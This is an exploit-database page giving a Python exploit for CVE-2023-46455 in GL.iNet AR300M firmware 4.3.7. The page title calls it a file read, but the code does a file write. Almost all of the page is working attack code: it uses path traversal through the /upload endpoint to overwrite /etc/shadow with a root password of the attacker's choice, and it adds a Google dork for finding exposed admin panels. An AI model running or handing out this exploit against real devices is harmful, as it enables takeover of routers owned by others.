Gl.inet ar300m v4.3.7 arbitrary file read cve202346455 exploit Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2024-03-03 |
Type : remote |
Platform : hardware
[+] Code ...
#!/usr/bin/env python3
# Exploit Title: GL.iNet <= 4.3.7 Arbitrary File Write
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46455
import crypt
import requests
from sys import argv
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def craft_shadow_file(salted_password):
shadow_content = 'root:{}:19459:0:99999:7:::\n'.format(salted_password)
shadow_content += 'daemon:*:0:0:99999:7:::\n'
shadow_content += 'ftp:*:0:0:99999:7:::\n'
shadow_content += 'network:*:0:0:99999:7:::\n'
shadow_content += 'nobody:*:0:0:99999:7:::\n'
shadow_content += 'dnsmasq:x:0:0:99999:7:::\n'
shadow_content += 'stubby:x:0:0:99999:7:::\n'
shadow_content += 'ntp:x:0:0:99999:7::\n'
shadow_content += 'mosquitto:x:0:0:99999:7::\n'
shadow_content += 'logd:x:0:0:99999:7::\n'
shadow_content += 'ubus:x:0:0:99999:7::\n'
return shadow_content
def replace_shadow_file(url, auth_token, shadow_content):
data = {
'sid': (None, auth_token),
'size': (None, '4'),
'path': (None, '/tmp/ovpn_upload/../../etc/shadow'),
'file': ('shadow', shadow_content)
}
requests.post(url, files=data, verify=False)
def main(base_url, auth_token):
print('[+] Started GL.iNet <= 4.3.7 Arbitrary File Write exploit')
password = input('[?] New password for root user: ')
salted_password = crypt.crypt(password, salt=crypt.METHOD_MD5)
shadow_content = craft_shadow_file(salted_password)
print('[+] Crafted shadow file:\n{}'.format(shadow_content))
print('[*] Replacing shadow file with the crafted one')
replace_shadow_file(base_url+'/upload', auth_token, shadow_content)
print('[+] Done')
if __name__ == '__main__':
if len(argv) < 3:
print('Usage: {} <TARGET_URL> <AUTH_TOKEN>'.format(argv[0]))
exit(1)
main(argv[1], argv[2])